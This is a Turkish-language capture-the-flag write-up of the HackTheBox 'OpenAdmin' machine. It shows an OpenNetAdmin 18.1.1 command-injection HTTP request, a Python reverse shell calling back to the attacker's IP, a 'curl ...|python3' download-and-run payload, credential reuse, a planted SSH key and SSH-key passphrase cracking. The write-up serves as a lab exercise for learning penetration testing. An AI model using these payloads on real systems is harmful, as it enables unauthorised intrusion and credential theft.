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HackTheBox OpenAdmin Çözümü

Posted May 2, 2020
By Melih Kaan Yildiz
8 min read

OpenAdmin HackTheBox üzerinde 20 puanlık ve “Kolay” olarak oylanmış bir makine. Makine üzerinde Uzaktan Kod Çalıştırmaya zafiyetli bir uygulama çalışıyor. Makinenin lokalinde çalışan farklı bir web sunucusu var. Bazı incelemeler ve keşiflerin sonucunda bir saldırgan makine üzerindeki bütün kullanıcılara erişimm sağlayabiliyor. Kullanıcılardan bir tanesi root yetkileriyle çalışmak üzere bir sudo girdisine sahip ve bunu kullanarak bir saldırgan yetkilerini yükseltebiliyor.

İlk inceleme

Her zaman olduğu gibi nmap ile başlıyoruz

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 λ ~/Desktop/htb/machines/openadmin nmap -sVSC -T5 10.10.10.171
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-02 01:40 EDT
Nmap scan report for 10.10.10.171
Host is up (0.15s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.77 seconds

Nmap çok fazla bir şey göstermedi

Apache varsayılan ana sayfası beni karşıladı

İçerik keşfi ile devam ettim

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 λ ~/Desktop/htb/machines/openadmin gobuster dir -u http://10.10.10.171/ -w /opt/SecLists/Discovery/Web-Content/common.txt -x php,html -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.171/
[+] Threads:        50
[+] Wordlist:       /opt/SecLists/Discovery/Web-Content/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,html
[+] Timeout:        10s
===============================================================
2020/05/02 01:43:56 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.html (Status: 403)
/.hta.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.html (Status: 403)
/.htpasswd.php (Status: 403)
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.html (Status: 403)
/artwork (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)
/music (Status: 301)
/server-status (Status: 403)
===============================================================
2020/05/02 01:44:39 Finished
===============================================================

Music bitiş noktası güzel bir başlığa sahipti. Music | CANLI DEGIL/YAYINDA KULLANMAYIN canlıda kullanılmaması gereken şeyleri severiz değil mi :D

Login’e tıklamak beni bu bitiş noktasına yönlendirdi. OpenNetAdmin :: 0wn Your Network

OpenNetAdmin 18.1.1 - Uzaktan Kod Çalıştırma

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 You are NOT on the latest release version
Your version    = v18.1.1
Latest version = Unable to determine

Please DOWNLOAD the latest version.

Bu versiyonun herhangi bir zafiyeti var mı diye exploitdbyi kontrol ettim.

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 λ ~/Desktop/htb/machines/openadmin searchsploit opennetadmin
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                                                              |  Path
                                                                                                                                                                            | (/usr/share/exploitdb/)
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution                                                                                                                               | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)                                                                                                                | exploits/php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution                                                                                                                                 | exploits/php/webapps/47691.sh
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

Searchsploit bana bir kaç kritik zafiyet gösterdi ve bunlar versiyonla uyuşuyorlardı

Zafiyeti biraz okudum ve burp ile tekrar ürettim, basit bir komut injeksiyonuydu.

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POST /ona/ HTTP/1.1
Host: 10.10.10.171
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ona_context_name=DEFAULT; ONA_SESSION_ID=7jpf09ejvudo3vbi71ue1oq69q
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 82

xajax=window_submit&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;id;&xajaxargs[]=ping

Www-data ile kabuk

Basit bit python tersine bağlantısı kullandım

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#!/usr/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.3",9001))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("/bin/bash")

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POST /ona/ HTTP/1.1
Host: 10.10.10.171
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ona_context_name=DEFAULT; ONA_SESSION_ID=7jpf09ejvudo3vbi71ue1oq69q
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 119

xajax=window_submit&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;curl+http://10.10.14.3/shell.py|python3;&xajaxargs[]=ping

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 λ ~/Desktop/htb/machines/openadmin nc -nvlp 9001
listening on [any] 9001 ...

connect to [10.10.14.3] from (UNKNOWN) [10.10.10.171] 33830

www-data@openadmin:/opt/ona/www$ 
www-data@openadmin:/opt/ona/www$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

İleri analiz

Makinede 2 tane kullanıcı vardı,

/etc/passwd

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jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash

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www-data@openadmin:/opt/ona/www$ ls -alh /home
ls -alh /home
total 16K
drwxr-xr-x  4 root   root   4.0K Nov 22 18:00 .
drwxr-xr-x 24 root   root   4.0K Nov 21 13:41 ..
drwxr-x---  5 jimmy  jimmy  4.0K May  1 19:22 jimmy
drwxr-x---  6 joanna joanna 4.0K Nov 28 09:37 joanna

Konfigürasyon dosyalarını incelemeyle başladım, çünkü bir takım kritik bilgiler içerebilirlerdi.

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www-data@openadmin:/opt/ona/www/local/config$ cat database_settings.inc.php
cat database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

Jimmy ile kabul

Yukardaki veritabanı konfigürasyon dosyasında bulduğum parola jimmy için çalıştı.

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www-data@openadmin:/opt/ona/www/local/config$ su jimmy
su jimmy
Password: n1nj4W4rri0R!

jimmy@openadmin:/opt/ona/www/local/config$ id
id
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)

Ama bu hala yeterli değildi Sunucunun lokalinde çalışan farklı bir web uygulaması vardı.

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jimmy@openadmin:/home$ netstat -tulpn
netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:52846         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   

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jimmy@openadmin:/var/www/internal$ ls -alh
ls -alh
total 20K
drwxrwx--- 2 jimmy internal 4.0K May  1 19:19 .
drwxr-xr-x 4 root  root     4.0K Nov 22 18:15 ..
-rwxrwxr-x 1 jimmy internal 3.2K Nov 22 23:24 index.php
-rwxrwxr-x 1 jimmy internal  185 Nov 23 16:37 logout.php
-rwxrwxr-x 1 jimmy internal  339 Apr 30 19:46 main.php

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jimmy@openadmin:/var/www/internal$ curl http://127.0.0.1:52846
curl http://127.0.0.1:52846

<?
   // error_reporting(E_ALL);
   // ini_set("display_errors", 1);
?>

<html lang = "en">

   <head>
      <title>Tutorialspoint.com</title>
      <link href = "css/bootstrap.min.css" rel = "stylesheet">

      <style>
         body {
            padding-top: 40px;
            padding-bottom: 40px;
            background-color: #ADABAB;
         }
...

index.phpde bir hash vardı ve onu kırdım.

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      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
         ?>

Ama bu parola hiç bir kullanıcı için çalışmadı ve ben de localde çalışan uygulamayı dışarıya çıkartmayla devam ettim

Port ilerletme

Bunu yapmak için bir çok method var, ben ssh’ı kullandım

Ssh

Port ilerletme yapabilmemiz için. Ssh’a jimmy ile bağlanmam gerekiyordu. Kendi ssh gizli anahtarımı oluşturdum ve açık olan anahtarımı da authorized_keys dosyasının altına yazdım

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 λ ~/Desktop/htb/machines/openadmin ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/Desktop/htb/machines/openadmin/id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/Desktop/htb/machines/openadmin/id_rsa
Your public key has been saved in /root/Desktop/htb/machines/openadmin/id_rsa.pub
The key fingerprint is:
SHA256:wsdH4xOZDA93ua1gCiq5ay+XVzjELHSuqvqjRZS5+2w root@kali
The key's randomart image is:
+---[RSA 3072]----+
|        o . ..   |
|   o. .  * +.    |
|  +. =    O  o   |
| . ...*. ooo. .  |
|  o. =ooSo+. .   |
| .o.o ooo. ..    |
|  o+ . o         |
| .*oE .          |
|==oB+.           |
+----[SHA256]-----+

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jimmy@openadmin:~$ ls -alh
ls -alh
total 48K
drwxr-x--- 5 jimmy jimmy 4.0K May  1 19:22 .
drwxr-xr-x 4 root  root  4.0K Nov 22 18:00 ..
lrwxrwxrwx 1 jimmy jimmy    9 Nov 21 14:07 .bash_history -> /dev/null
-rw-r--r-- 1 jimmy jimmy  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 jimmy jimmy 3.7K Apr  4  2018 .bashrc
drwx------ 2 jimmy jimmy 4.0K Nov 21 13:52 .cache
drwx------ 3 jimmy jimmy 4.0K May  1 18:06 .gnupg
drwxrwxr-x 3 jimmy jimmy 4.0K Nov 22 23:15 .local
-rw-r--r-- 1 jimmy jimmy  807 Apr  4  2018 .profile
-rw------- 1 jimmy jimmy  14K May  1 19:22 .viminfo
jimmy@openadmin:~$ mkdir .ssh
mkdir .ssh
jimmy@openadmin:~$ cd .ssh
cd .ssh
jimmy@openadmin:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4qpQ8HRU4yn/wY09z9u0CPXU0I70xhFmlCGV+oadHST4eP6XVAYckDPdxRv7R8QTTnA7qyaUsFJx6rNk/3p20mzf51myUqVpKwk0GawVS3K3QbciciRcKIXob1w4Vwf1PV0Mbf1cit87eOFnxxNDi1iRe3WVFWVKqExJOFJw0yfdf/l8UEfmeJLZkZKcac745lU/SEBJfAFXIjdH4m+weAVQlfE/kVjJOEpxm/uv3tpdDCd74LCbIpL8NQTk2Wrh+WoITkKQuqqDeI1wNX+A4G9NvroSB6qP3v/i+GFTIgOqNdAFNF6kUxyANIW/o84Row9utXMWSg4KVn8XOANeqTqLFcsWqm1E6THsiEhyLhei4Ho5j0FQLTumM4DsBXNOq2x4jNtGDj1xVC8aK8SjVHmzlmgRvf2mzgu3UCuSrFQPqbMc9jYZIizAu2/eli5t4CISY+a4NZHGMU3KoLxQB15H50B/ct0NgKOUb1t0Ec8gr3vPEWYLAVUF2XmQ2HgU= root@kali" > authorized_keys
<gr3vPEWYLAVUF2XmQ2HgU= root@kali" > authorized_keys

Ve ilerlettim

λ ~/Desktop/htb/machines/openadmin ssh -i id_rsa jimmy@10.10.10.171 -L 52846:127.0.0.1:52846

# Joanna ile kabuk

Uygulamaya bulduğum parola ile giriş yaptım jimmy:Revealed

Ssh anahtarını kırmak

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 λ ~/Desktop/htb/machines/openadmin /usr/share/john/ssh2john.py joanna.rsa  | tee joanna.rsa.hash
joanna.rsa:$sshng$1$16$2AF25344B8391A25A9B318F3FD767D6D$1200$906d14608706c9ac6ea6342a692d9ed47a9b87044b94d72d5b61df25e68a5235991f8bac883f40b539c829550ea5937c69dfd2b4c589f8c910e4c9c030982541e51b4717013fafbe1e1db9d6331c83cca061cc7550c0f4dd98da46ec1c7f460e4a135b6f1f04bafaf66a08db17ecad8a60f25a1a095d4f94a530f9f0bf9222c6736a5f54f1ff93c6182af4ad8a407044eb16ae6cd2a10c92acffa6095441ed63215b6126ed62de25b2803233cc3ea533d56b72d15a71b291547983bf5bee5b0966710f2b4edf264f0909d6f4c0f9cb372f4bb323715d17d5ded5f83117233976199c6d86bfc28421e217ccd883e7f0eecbc6f227fdc8dff12ca87a61207803dd47ef1f2f6769773f9cb52ea7bb34f96019e00531fcc267255da737ca3af49c88f73ed5f44e2afda28287fc6926660b8fb0267557780e53b407255dcb44899115c568089254d40963c8511f3492efe938a620bde879c953e67cfb55dbbf347ddd677792544c3bb11eb0843928a34d53c3e94fed25bff744544a69bc80c4ffc87ffd4d5c3ef5fd01c8b4114cacde7681ea9556f22fc863d07a0f1e96e099e749416cca147add636eb24f5082f9224e2907e3464d71ae711cf8a3f21bd4476bf98c633ff1bbebffb42d24544298c918a7b14c501d2c43534b8428d34d500537f0197e75a4279bbe4e8d2acee3c1586a59b28671e406c0e178b4d29aaa7a478b0258bde6628a3de723520a66fb0b31f1ea5bf45b693f868d47c2d89692920e2898ccd89710c42227d31293d9dad740791453ec8ebfb26047ccca53e0a200e9112f345f5559f8ded2f193feedd8c1db6bd0fbfa5441aa773dd5c4a60defe92e1b7d79182af16472872ab3c222bdd2b5f941604b7de582b08ce3f6635d83f66e9b84e6fe9d3eafa166f9e62a4cdc993d42ed8c0ad5713205a9fc7e5bc87b2feeaffe05167a27b04975e9366fa254adf511ffd7d07bc1f5075d70b2a7db06f2224692566fb5e8890c6e39038787873f21c52ce14e1e70e60b8fca716feb5d0727ac1c355cf633226c993ca2f16b95c59b3cc31ac7f641335d80ff1ad3e672f88609ec5a4532986e0567e169094189dcc82d11d46bf73bc6c48a05f84982aa222b4c0e78b18cceb15345116e74f5fbc55d407ed9ba12559f57f37512998565a54fe77ea2a2224abbddea75a1b6da09ae3ac043b6161809b630174603f33195827d14d0ebd64c6e48e0d0346b469d664f89e2ef0e4c28b6a64acdd3a0edf8a61915a246feb25e8e69b3710916e494d5f482bf6ab65c675f73c39b2c2eecdca6709188c6f36b6331953e3f93e27c987a3743eaa71502c43a807d8f91cdc4dc33f48b852efdc8fcc2647f2e588ae368d69998348f0bfcfe6d65892aebb86351825c2aa45afc2e6869987849d70cec46ba951c864accfb8476d5643e7926942ddd8f0f32c296662ba659e999b0fb0bbfde7ba2834e5ec931d576e4333d6b5e8960e9de46d32daa5360ce3d0d6b864d3324401c4975485f1aef6ba618edb12d679b0e861fe5549249962d08d25dc2dde517b23cf9a76dcf482530c9a34762f97361dd95352de4c82263cfaa90796c2fa33dd5ce1d889a045d587ef18a5b940a2880e1c706541e2b523572a8836d513f6e688444af86e2ba9ad2ded540deadd9559eb56ac66fe021c3f88c2a1a484d62d602903793d10d

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 λ ~/Desktop/htb/machines/openadmin john joanna.rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (joanna.rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:03 DONE (2020-05-02 02:36) 0.2915g/s 4181Kp/s 4181Kc/s 4181KC/sa6_123..*7¡Vamos!
Session completed

bloodninjas

Roota yükseliş

linpeas betiğini çalıştırdım ve basit bir şekilde root’a olan yolu gösterdi

https://gtfobins.github.io/gtfobins/nano/

Okuduğunuz için teşekkürler. Bu makine için dmw0ng ‘a teşekkürler !

Writeups, HackTheBox
OpenAdmin HackTheBox Penetration Testing Pentest Ona Sudo Portforwarding Ssh
This post is licensed under CC BY 4.0 by the author.
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